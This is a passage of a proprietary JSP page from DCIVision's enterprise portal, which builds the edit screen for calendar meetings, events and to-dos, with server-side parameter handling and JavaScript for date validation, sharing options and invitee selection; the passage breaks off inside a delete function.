  <%
/*
 * @(#)EditCalendar.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListUserGroup.jsp

  This is a ListUserGroup page.  It shows the active groups' record in EIP.

    @author             Robert Jin
    @company            DCIVision Ltd
    @creation date      18/12/2003
    @version            $Revision: 1.176.4.13 $
*/
%>
<meta http-equiv="Expires" content="0">
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@page import="java.util.*" %>
<%@page import="javax.sql.*" %>
<%@page import="java.sql.*" %>
<%@page import="com.dcivision.calendar.bean.*" %>
<%@page import="com.dcivision.calendar.*" %>
<%@page import="com.dcivision.calendar.dao.*" %>
<%@page import="com.dcivision.calendar.bean.*" %>
<%@page import="com.dcivision.user.bean.*" %>
<%@page import="com.dcivision.user.dao.*" %>
<%@page import="com.dcivision.user.bean.*" %>
<%@page import="com.dcivision.user.dao.*" %>
<%@page import="com.dcivision.alert.bean.*" %>
<%@page import="com.dcivision.alert.core.*" %>
<%@page import="com.dcivision.alert.dao.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.dao.*"%>
<%@page import="com.dcivision.framework.TextUtility" %>
<%@page import="com.dcivision.framework.Utility" %>
<%@page import="com.dcivision.framework.DataSourceFactory" %>
<%@page import="com.dcivision.framework.SystemParameterFactory" %>
<%@page import="com.dcivision.framework.SystemParameterConstant" %>
<%@page import="com.dcivision.framework.GlobalConstant" %>
<%@page import="com.dcivision.framework.MessageResourcesFactory" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintCalendarForm" class="com.dcivision.calendar.web.MaintCalendarRecordForm" scope="request"/>
<%
  String sDBDatetimeFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT); 
  java.text.SimpleDateFormat formatter = new java.text.SimpleDateFormat(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT).split(" ")[0], new Locale(SystemParameterFactory.getSystemParameter(SystemParameterConstant.LOCALE)));
  java.text.SimpleDateFormat formatter1 = new java.text.SimpleDateFormat(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0]);

  boolean haveBackButton = false;
  String opMode = (maintCalendarForm!=null) ? maintCalendarForm.getOpMode() : request.getParameter("opMode");
  //get the current navMode
  String navMode = (maintCalendarForm.getNavMode()==null) ? "" : maintCalendarForm.getNavMode();
  String listName=request.getParameter("listName");
  String oldNavMode=request.getParameter("oldNavMode");
  String SHOW_HEADER_FOOTER = request.getParameter("SHOW_HEADER_FOOTER");
  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);

  int minuteInterval;
  if(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_DEFAULT_TIMEPICKER_INTERVAL)!=null){
    minuteInterval = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.CALENDAR_DEFAULT_TIMEPICKER_INTERVAL).intValue();
  } else {
    minuteInterval = 1;
  }
  String DEFAULT_START_HR = "7";
  String DEFAULT_END_HR = "7";
  String ID = null;

  boolean haveSubMeeting = false;

  if (request.getParameter("ID")!=null){
    ID = request.getParameter("ID");
  }else if (!Utility.isEmpty(request.getAttribute("ID"))){
    ID = request.getAttribute("ID").toString();    
  }else if (maintCalendarForm.getID()!=null){
    ID = maintCalendarForm.getID();
  }

  String eventType = "CM";
  if (request.getParameter("eventType")!=null){
    eventType = request.getParameter("eventType");
  }
  if (maintCalendarForm.getEventType()!=null){
    eventType = maintCalendarForm.getEventType();
  }

  Timestamp dateTime = maintCalendarForm.getDatetime();
  Timestamp endTime = maintCalendarForm.getEndtime();
  
  Connection conn = null;
  try {
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    GregorianCalendar gCal = new GregorianCalendar() ;
    int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
    int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
    int currentYear = gCal.get(GregorianCalendar.YEAR) ;
    int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
    int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
    int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;
    GregorianCalendar startCal = new GregorianCalendar() ;
    int selectedDay   = 0;  //currentDay;
    int selectedMonth = 0; // currentMonth;
    int selectedYear  = 0; //currentYear;

    int selectedHr = -1;
    if (request.getParameter("selectedHr")!=null){
      selectedHr = Integer.parseInt(request.getParameter("selectedHr"));
    }
    int selectedMin = -1;
    if (request.getParameter("selectedMin")!=null){
      selectedMin = Integer.parseInt(request.getParameter("selectedMin"));
    }
    if (request.getParameter("selectedDay")!=null){
      selectedDay = TextUtility.parseInteger(request.getParameter("selectedDay"));
    } else {
      if(dateTime!=null){
        selectedDay = startCal.get(GregorianCalendar.DAY_OF_MONTH) ;
      } else {
        selectedDay = currentDay;
      }
    }
    if (request.getParameter("selectedMonth")!=null){
      selectedMonth = TextUtility.parseInteger(request.getParameter("selectedMonth"));
    }else{
      if(dateTime!=null){
        selectedMonth = startCal.get(GregorianCalendar.MONTH) + 1 ;
      }else {
        selectedMonth = currentMonth;
      }
    }
    if (request.getParameter("selectedYear")!=null){
      selectedYear = TextUtility.parseInteger(request.getParameter("selectedYear"));
    } else {
      if(dateTime!=null){
        selectedYear = startCal.get(GregorianCalendar.YEAR) ;
      } else {
        selectedYear = currentYear;
      }
    }

    UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer, conn);
    Calendar selectedDate = Calendar.getInstance();
    selectedDate.set(selectedYear,selectedMonth-1,selectedDay);
    String StrSelectedDate = TextUtility.formatDate(selectedDate.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT).split(" ")[0]);
    String StrDispSelectedDate = TextUtility.formatDate(selectedDate.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0]);
	if (Utility.isEmpty(request.getParameter("selectedYear"))&&eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)) {
		GregorianCalendar cal = new GregorianCalendar();
		cal.add(Calendar.DATE,1);
		StrSelectedDate = TextUtility.formatDate(cal.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT).split(" ")[0]);
		StrDispSelectedDate = TextUtility.formatDate(cal.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0]);
	}

	String recordStatus = maintCalendarForm.getRecordStatus();
    String strDefaultDate =  Utility.isEmpty(maintCalendarForm.getStartDate())?StrSelectedDate:maintCalendarForm.getStartDate();
  
    if(dateTime!=null){
      startCal.setTime(dateTime);
    } else {
      startCal.set(selectedYear,selectedMonth-1,selectedDay,7,0,0);
    }
    boolean isPast = startCal.before(gCal);
    String[] valAry = {"0", "5", "10", "15", "30", "60", "120", "180", "240", "300", "360", "420", "480", "540", "600", "660", "1080", "1440", "2880", "4320", "5760", "7200", "8640", "10080", "20160", "30240"};
    String[] txtAry = { "calendar.label.0_minutes", "calendar.label.5_minutes", "calendar.label.10_minutes", "calendar.label.15_minutes", "calendar.label.30_minutes",
          "calendar.label.1_hour", "calendar.label.2_hour","calendar.label.3_hour","calendar.label.4_hour","calendar.label.5_hour", "calendar.label.6_hour",
          "calendar.label.7_hour", "calendar.label.8_hour","calendar.label.9_hour", "calendar.label.10_hour","calendar.label.11_hour", "calendar.label.18_hour",
          "calendar.label.1_day", "calendar.label.2_day", "calendar.label.3_day", "calendar.label.4_day", "calendar.label.5_day", "calendar.label.6_day",
          "calendar.label.1_week", "calendar.label.2_week", "calendar.label.3_week"     };

    int displayDay   = selectedDay;
    int displayMonth = selectedMonth;
    int displayYear  = selectedYear;


    if (request.getParameter("displayDay")!=null){
      displayDay = TextUtility.parseInteger(request.getParameter("displayDay"));
    }

    if (request.getParameter("displayMonth")!=null){
      displayMonth = TextUtility.parseInteger(request.getParameter("displayMonth"));
    }

    if (request.getParameter("displayYear")!=null){
      displayYear = TextUtility.parseInteger(request.getParameter("displayYear"));
    }    

    //get invite for calendar
    final String alertType = "I";
    String creatorID = maintCalendarForm.getCreatorID()==null? sessionContainer.getUserRecordID().toString(): maintCalendarForm.getCreatorID().toString();
    String haveShared = "";
    String reminderType=null;
    String strEventType = "";
    boolean sharedEvent = "S".equals(request.getParameter("caleType"));
    if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){
      strEventType = "To-Do";
    }else if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_EVENT)){
      strEventType = "Event";
    }else if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)){
      strEventType = "Meeting";
    }

    String[][] repeatAry = {  {"1", "calendar.label.repeat_event_every"},
          {"2", "calendar.label.repeat_event_every_other"},
          {"3", "calendar.label.repeat_event_every_third"},
          {"4", "calendar.label.repeat_event_every_fourth"} };

    String[][] repeatByAry = {   {"D", "calendar.label.repeat_by_day"},
        {"W", "calendar.label.repeat_by_week"},
        {"M", "calendar.label.repeat_by_month"},
        {"Y", "calendar.label.repeat_by_year"}    };

    String[][] occurSeqAry = {   {"1", "calendar.label.occur_seq_first"},
        {"2", "calendar.label.occur_seq_second"},
        {"3", "calendar.label.occur_seq_third"},
        {"4", "calendar.label.occur_seq_fourth"},
        {"9", "calendar.label.occur_seq_last"}    };

    String[][] occurMonthAry = {   {"1", "calendar.label.occur_month_one"},
        {"2", "calendar.label.occur_month_two"},
        {"3", "calendar.label.occur_month_three"},
        {"4", "calendar.label.occur_month_four"},
        {"6", "calendar.label.occur_month_six"},
        {"12", "calendar.label.occur_month_twelve"}   };
        
    boolean showInvite = false;
	
		
	boolean enableReply = false;
	int bbb = 0;
	if( !Utility.isEmpty(request.getParameter("opReply"))){
      for(int i=0;i<maintCalendarForm.getUserList().length;i++){
        if (!Utility.isEmpty(maintCalendarForm.getUserList()[i]) && maintCalendarForm.getUserList()[i].equals(sessionContainer.getUserRecordID().toString())){
          enableReply = true;
          break;
        }
	  }
      if(!enableReply){
        MtmUserRecordUserGroupDAObject mtmUserRecordUserGroupDAObject = new MtmUserRecordUserGroupDAObject(sessionContainer,conn);
		List groupList = (ArrayList)mtmUserRecordUserGroupDAObject.getUserGroupListByUserRecordID(sessionContainer.getUserRecordID());
		for(int i=0;i<groupList.size();i++){
		  for(int j=0;j<maintCalendarForm.getGroupList().length;j++){
		    if(((UserGroup)groupList.get(i)).getID().toString().equals(maintCalendarForm.getGroupList()[i])){
              enableReply = true;
              break;
            }
          }
        }
      }
      if(!enableReply){
        MtmUserRecordUserRoleDAObject mtmUserRecordUserRoleDAObject = new MtmUserRecordUserRoleDAObject(sessionContainer,conn);
        List roleList = (ArrayList)mtmUserRecordUserRoleDAObject.getUserRoleListByUserRecordID(sessionContainer.getUserRecordID());
        for (int i=0;i<roleList.size();i++){
          for (int j=0;j<maintCalendarForm.getRoleList().length;j++){
            if (((UserRole)roleList.get(i)).getID().toString().equals(maintCalendarForm.getRoleList()[i])){
              enableReply = true;
              break;
            }
          }
          if (enableReply) {
            break;
          }
        }
      }
	}

	String opReply = "";
	String systemLogID = ""; 
	String isHome = "";
	if(!Utility.isEmpty(request.getParameter("opReply"))){
      opReply = request.getParameter("opReply").toString();
	} else {
      if(!Utility.isEmpty(request.getAttribute("opReply"))){
        opReply = request.getAttribute("opReply").toString();
      }
	}
	if(!Utility.isEmpty(request.getParameter("systemLogID"))){
      systemLogID = request.getParameter("systemLogID").toString();
	} else {
      if(!Utility.isEmpty(request.getAttribute("systemLogID"))){
        systemLogID = request.getAttribute("systemLogID").toString();
      }
	}
	if(!Utility.isEmpty(request.getParameter("isHome"))){
      isHome = request.getParameter("isHome").toString();
	} else {
      if(!Utility.isEmpty(request.getAttribute("isHome"))){
        isHome = request.getAttribute("isHome").toString();
      }
	}        

%>
<html:form type='maintCalendarRecordForm' action='calendar/MaintCalendar.do'>
<html:javascript formName='maintCalendarRecordForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<!-- Javascript begin -->
<script src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/effects.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/controls.js" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/InviteePickerDWRFacade.js' type='text/javascript'></script>
<script src='<%= request.getContextPath() %>/dwr/engine.js' type='text/javascript'></script>
<script src="<%= request.getContextPath() %>/js/inviteePicker.js" type="text/javascript"></script>
<script language="Javascript">
<!--
var sysTimeFormat = "<%=sDBDatetimeFormat%>";

function missFocus(obj){
  obj.value = "";
}

function getSubdateByFormatArg(format,str,arg){
  return this.getResultByFormatList(str,getFormatList(format,arg));
}

function getResultByFormatList(str,alist){
  var str1 = "";
  for (var i = 0;i<alist.length;i++){
    str1 += str.charAt(alist[i]);
  }
  return str1;
}

function getFormatList(str,arg){
  var result = new Array();
  for(var i = 0;i<str.length;){
    if (str.indexOf(arg,i)!=-1){
      result[result.length] = str.indexOf(arg,i);
      i=str.indexOf(arg,i)+1;	
    }else{
      break;
    }
  }
  return result;
}
 
function checkedArray(obj, check){
  for(var i =0; i<obj.length; i++){
    obj[i].disabled = check;
    if(obj[i].name == 'userIDsToShare' && obj[i].value=='<%=sessionContainer.getUserRecordID().toString()%>'){
      obj[i].disabled = true;
    }		
  }
} 

function remindPublic(rad){
  <%if (GlobalConstant.NAV_MODE_EDIT.equals(navMode) || GlobalConstant.NAV_MODE_NEW.equals(navMode)) {%>
  var userIDsToShare  = document.getElementsByName("userIDsToShare");
  var groupIDsToShare = document.getElementsByName("groupIDsToShare");
  var roleIDsToShare  = document.getElementsByName("roleIDsToShare");
       
  if(typeof(userIDsToShare.length)=='undefined'){
    userIDsToShare = new Array(userIDsToShare);
  }
  if(typeof(groupIDsToShare.length)=='undefined'){
    groupIDsToShare = new Array(groupIDsToShare);
  }
  if(typeof(roleIDsToShare.length)=='undefined'){
    roleIDsToShare = new Array(roleIDsToShare);
  }
       
  for (var i=0;i<document.maintCalendarForm.shareType.length;i++){
    if (rad.value == "<%=CalendarRecord.SHARE_TYPE_PUBLIC%>" && document.maintCalendarForm.shareType[i].checked &&  rad.value!=document.maintCalendarForm.shareType[i].value){
      <%if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)) {%>
      if (confirm("<bean:message key='calendar.alert.remind_public' arg0='meeting' />")) {
        rad.checked = true;
        checkedArray(userIDsToShare,false);
        checkedArray(groupIDsToShare,false);
        checkedArray(roleIDsToShare,false);
      } else {
        if(i == 0){
          checkedArray(userIDsToShare,true);
          checkedArray(groupIDsToShare,true);
          checkedArray(roleIDsToShare,true);
          return;
        }
        document.maintCalendarForm.shareType[i].checked = true;
      }
      <%}%>
      <%if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_EVENT)) {%>
      if (confirm("<bean:message key='calendar.alert.remind_public' arg0='event' />")) {
        rad.checked = true;
        checkedArray(userIDsToShare,false);
        checkedArray(groupIDsToShare,false);
        checkedArray(roleIDsToShare,false);
      } else {
        if( i== 0){
          checkedArray(userIDsToShare,true);
          checkedArray(groupIDsToShare,true);
          checkedArray(roleIDsToShare,true);
          return;
        }
        document.maintCalendarForm.shareType[i].checked = true;
      }
      <%}%>
    }
  }
		
  if( rad.value == '<%=CalendarRecord.SHARE_TYPE_PRIVATE%>'){
    checkedArray(userIDsToShare,true);
    checkedArray(groupIDsToShare,true);
    checkedArray(roleIDsToShare,true);
  }else{
    checkedArray(userIDsToShare,false);
    checkedArray(groupIDsToShare,false);
    checkedArray(roleIDsToShare,false);
  }
  <%}%>
}

function setIsRecurrenceValue(){
  var frm;
  var divRecurName="divRecurShow";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  
  if (document.maintCalendarForm.isRecurrence){
    // if show the divRecur the isRecurrence will be checked else is unchecked
    if(FindObj(divRecurName).style.display == "block" || FindObj(divRecurName).style.display == "") {
      frm.isRecurrence.checked = true;
      enabledRecurrence();
    } else {
      frm.isRecurrence.checked = false;
	  enabledRecurrence();
    }  
  }
}

function custOpSaveReply(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
	
  <%if (!enableReply && !"True".equals(opReply)) {%>
  alert("<bean:message key='calendar.reply.no_permission' />");
  return false;
  <%}%>

  frm.opMode.value = "RE";
  frm.navMode.value = "";
  frm.submit();
  return(false);
}

function shareToOther(frm){
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.opMode.value = "SH";
  frm.navMode.value = "";
  frm.submit();
  return(false);
}

function OpRefresh() {
<%  if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){    %>
  if (document.maintCalendarForm.startDate.value == "") {
    alert("<bean:message key='calendar.label.date'/>" + " is required.");
    return false;
  }
<%  } %>
  document.maintCalendarForm.opMode.value = "<%=GlobalConstant.NAV_MODE_REFRESH%>";
  disableTimer(false);  
  document.maintCalendarForm.submit();
  return(false);
}

function cusSaveValidate(frm) {
<%if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){    %>
  if (frm.startDate.value == "") {
    alert("<bean:message key='calendar.label.date'/>" + " is required.");
    return false;
  }
<%} %>
  if (confirm("<bean:message key='calendar.label.overlap_confirm'/>"))   {
    disableTimer(false);
    return OpSave();
  } else {
   return false;
  }
}

function validateRecurDate(){
  if (document.maintCalendarForm.isRecurrence.checked){
    var recurDate = document.maintCalendarForm.dummy_recurStartDate.value;
    var startDate = document.maintCalendarForm.dummy_endDate.value;//Update By Jim.Zhou		2006/08/08	Bug	#6019
    var endRecurDate = document.maintCalendarForm.dummy_recurEndDate.value;
    var type1 = /\d{2}\W\d{2}\W\d{4}/;
    var type2 = /\d{4}\W\d{2}\W\d{2}/;
    var numRecurDate = null;
    var numStartDate = null;
			
    if (type1.test(recurDate)){
      numRecurDate = recurDate.split(recurDate.charAt(2));
      numStartDate = startDate.split(startDate.charAt(2));
      numEndRecurDate = endRecurDate.split(endRecurDate.charAt(2));
      if (numRecurDate[2]<numStartDate[2]){
        alert("<bean:message key='errors.calendar.recurdate_start_date_hindfromdate' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;	
      } else if (!(numRecurDate[2]>numStartDate[2]) && (numRecurDate[1]<numStartDate[1])){
        alert("<bean:message key='errors.calendar.recurdate_start_date_hindfromdate' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      } else if (!(numRecurDate[2]>numStartDate[2]) && !(numRecurDate[1]>numStartDate[1])&& (numRecurDate[0]<=numStartDate[0])){//Update By Jim.Zhou		2006/08/08		Bug	#6019
        alert("<bean:message key='errors.calendar.recurdate_start_date_hindfromdate' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      }
      if (numEndRecurDate[2]<numRecurDate[2]){
        alert("<bean:message key='error.calendar.recurring_date_range' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      } else if (!(numEndRecurDate[2]>numRecurDate[2]) && (numEndRecurDate[1]<numRecurDate[1])){
        alert("<bean:message key='error.calendar.recurring_date_range' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      } else if (!(numEndRecurDate[2]>numRecurDate[2]) && !(numEndRecurDate[1]>numRecurDate[1])&& (numEndRecurDate[0]<numRecurDate[0])){
        alert("<bean:message key='error.calendar.recurring_date_range' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      }
    }
    if (type2.test(recurDate)){
      numRecurDate = recurDate.split(recurDate.charAt(4));
      numStartDate = startDate.split(startDate.charAt(4));
      numEndRecurDate = endRecurDate.split(endRecurDate.charAt(4));
      if (numRecurDate[2]<numStartDate[2]){
        alert("<bean:message key='errors.calendar.recurdate_start_date_hindfromdate' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      } else if (!(numRecurDate[2]>numStartDate[2]) && numRecurDate[1]<numStartDate[1]){
        alert("<bean:message key='errors.calendar.recurdate_start_date_hindfromdate' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;	
      } else if (!(numRecurDate[2]>numStartDate[2]) && !(numRecurDate[1]>numStartDate[1])&& numRecurDate[0]<numStartDate[0]){
        alert("<bean:message key='errors.calendar.recurdate_start_date_hindfromdate' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      }
      if (numEndRecurDate[2]<numRecurDate[2]){
        alert("<bean:message key='error.calendar.recurring_date_range' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      } else if (!(numEndRecurDate[2]>numRecurDate[2]) && (numEndRecurDate[1]<numRecurDate[1])){
        alert("<bean:message key='error.calendar.recurring_date_range' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      } else if (!(numEndRecurDate[2]>numRecurDate[2]) && !(numEndRecurDate[1]>numRecurDate[1])&& (numEndRecurDate[0]<numRecurDate[0])){
        alert("<bean:message key='error.calendar.recurring_date_range' />");
        document.maintCalendarForm.dummy_recurStartDate.focus();
        document.maintCalendarForm.dummy_recurStartDate.select();
        return false;
      }
    }
  }
  return true;
}

function custOpSave(frm) {
  if(validateForm(frm)==false){
    return false;
  }
  return OpSave();
}
 
function custOpSaveAndNew(frm){
  if(validateForm(frm)==false){
    return false;
  }
  return OpSaveAndNew();
}

function validateForm(frm){
  if (document.maintCalendarForm.Overlap.value!="no") {
<%  if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){    %>
    if (frm.startDate.value == "") {
      alert("<bean:message key='calendar.label.date'/>" + " is required.");
      return false;
    }
		
    if (frm.dummy_startDate.value == ""){
      alert("<bean:message key='calendar.label.start_date' />"+ " is required.");
      return false;
    }	
     
	if (frm.dummy_startDate.value != "") {
      var nDate = new Date();
      nDate.setHours(0);
      nDate.setMinutes(0);
      nDate.setSeconds(0);
      nDate.setMilliseconds(0);
      var strDate = frm.startDate.value;
      var vDate = new Date(getSubdateByFormatArg(sysTimeFormat,strDate,"y"),getSubdateByFormatArg(sysTimeFormat,strDate,"M")-1,getSubdateByFormatArg(sysTimeFormat,strDate,"d"));

      if (nDate>vDate){				
        if (!confirm("<bean:message key='calendar.error.duedate.remind' />")){
          return false;
        }
      }
    }

<%} else {%>
    if(compareDate(frm.currentDate, frm.startDate, true)>0){
      if(!confirm("<bean:message key='calendar.label.todo_is_overdue'/>")){
        return false;
      }
    }

    if (frm.dummy_startDate.value == ""){
	  alert("<bean:message key='calendar.label.start_date' />"+ " is required.");
	  return false;
    }
<%}%>
<%if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)||eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_EVENT)){%>
    if (!validateRecurDate()){
	  return false;
	}
    if (frm.dummy_startDate.value != "") {
      var nDate = new Date();
      nDate.setHours(0);
      nDate.setMinutes(0);
      nDate.setSeconds(0);
      nDate.setMilliseconds(0);
      var strDate = frm.startDate.value;
      var vDate = new Date(getSubdateByFormatArg(sysTimeFormat,strDate,"y"),getSubdateByFormatArg(sysTimeFormat,strDate,"M")-1,getSubdateByFormatArg(sysTimeFormat,strDate,"d"));
			
      if (nDate>vDate){				
        if (!confirm("<bean:message key='calendar.error.startdate.remind' />")){
          return false;
        }
      }
    }
<%
  }
  if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)){    
%>
    return validateInviteFieldSelected();
<%
  } 
%>
  }
}

function validateInviteFieldSelected(){

    var recordSeleted = false;
    if (document.getElementsByName('userRecords').length>0 || document.getElementsByName('userRecords').length>0 || document.getElementsByName('userRecords').length>0){          
      recordSeleted = true;     
    }
    
    var waySelected=false;
    for ( var i=0; i<document.maintCalendarForm.notifyWay.length; ++i ) {
      if ( document.maintCalendarForm.notifyWay[i].checked ) { waySelected = true; }
    }
		
	if (!waySelected && recordSeleted) {
      alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_type")%>' />');
      showBlock("invite");
      return false;        
    }else if(waySelected && !recordSeleted) {
      alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "calendar.label.attendee_type")%>' />');  
      showBlock("invite");
      return false;        
    }
        
    return true;
}

function cusSaveAndNewValidate(frm){}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}


function loadBoxes() {
  if(navigator.appName != "Microsoft Internet Explorer"){
    return false;
  }
}

function getCookieVal (offset) {
  var endstr = document.cookie.indexOf (";", offset);
  if (endstr == -1)
    endstr = document.cookie.length;
  return unescape(document.cookie.substring(offset, endstr));
}

function getCookie(name) {
  var uid = "DF0182B722-3CAEB5D9202A913A";
  name = uid + name;
  var arg = name + "=";
  var alen = arg.length;
  var clen = document.cookie.length;
  var i = 0;
  while (i < clen) {
    var j = i + alen;
    if (document.cookie.substring(i, j) == arg)
      return getCookieVal (j);
    i = document.cookie.indexOf(" ", i) + 1;
    if (i == 0) break;
  }
  return null;
}

function toggleBlock(b) {
  if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
    hideBlock(b);
  } else {
    showBlock(b);
  }
  saveBox(b);
}

function hideBlock(b) {
  FindObj(b).style.display = "none";
}

function showBlock(b) {
  FindObj(b).style.display = "block";
}

function saveBox(b) {
  var uid = "DF0182B722-3CAEB5D9202A913A";
  var cookieStr = "";
  var expDays = 3650;
  var exp = new Date();
  exp.setTime(exp.getTime() + (expDays*24*60*60*1000));

  cookieStr = uid + b + "=" + FindObj(b).style.display + "; expires=" + exp.toGMTString();
  document.cookie = cookieStr;
}

function loadBox(b) {
  if (getCookie(b) == "block" || getCookie(b) == "" || getCookie(b) == null)
    showBlock(b);
  else
    hideBlock(b);
}

function opSelectWeek(frm) {
  var day = frm.repeatType.value;
  if (day=='<%=CalendarRecur.REPEAT_BY_WEEK%>') {
    showBlock("repeatTypeDaySelect");
  }else{
    hideBlock("repeatTypeDaySelect");
  }
  return false;
}

function opSelectNoEndDate(frm){
  if (frm.noEndDate.checked==true) {
   frm.dummy_recurEndDate.value='';
   frm.dummy_recurEndDate.disabled = true;
   frm.recurEndDate.value='';
   frm.noEndDate.checked=true;
  }else{
   frm.dummy_recurEndDate.value=frm.dummy_recurStartDate.value;
   frm.dummy_recurEndDate.disabled = false;
   frm.recurEndDate.value=frm.recurStartDate.value;
   frm.noEndDate.checked=false ;
  }
  return false;
}

function PopupSearchInvite() {
  var height;
  var width;
  var windowName;

  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }

  height = 300;
  width = 800;
  windowName = "DCIVisionPopupSearchInviteWin";

  var openWin = window.open("<%=request.getContextPath()%>/PopupSearchInvite.do?navMode=LS&formName=" + frm.name+"&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&userRecords=<%=sessionContainer.getUserRecordID()%>&recipientType=U", windowName, eval("'height="+height+",width="+width+",toolbar=no,status=yes,scrollbars=yes,resizable=yes'"));

  return(false);
}

function DuDigital(inDate){
  return inDate<10?"0"+inDate:inDate;
}

function PutCalendarSechduleSelection(formName, selectedDay, selectedMonth, selectedYear, startHour, startMinute, endHour, endMinute, selectDate, invitArr) {
  eval('document.'+formName+'.selectedDay.value = "'+ DuDigital(selectedDay)+'"');
  eval('document.'+formName+'.selectedMonth.value = "'+ DuDigital(selectedMonth)+'"');
  eval('document.'+formName+'.selectedYear.value = "'+ selectedYear+'"');
  eval('document.'+formName+'.dummy_startDate.value = "'+ selectDate +'"');
  eval('document.'+formName+'.dummy_endDate.value = "'+  selectDate +'"');
  eval('document.'+formName+'.startDate.value = "'+ selectedYear+"-"+ DuDigital(selectedMonth) + "-" + DuDigital(selectedDay) +' 0:0:0"');
  eval('document.'+formName+'.endDate.value = "'+  selectedYear+"-"+ DuDigital(selectedMonth) + "-" + DuDigital(selectedDay) +' 0:0:0"');
  eval('document.'+formName+'.opMode.value ="R"');
  eval('document.'+formName+'.navMode.value ="null"');
  checkPopupSearchInvite(invitArr);
  return(false);
}

function OpCustDelete(formName, ID){
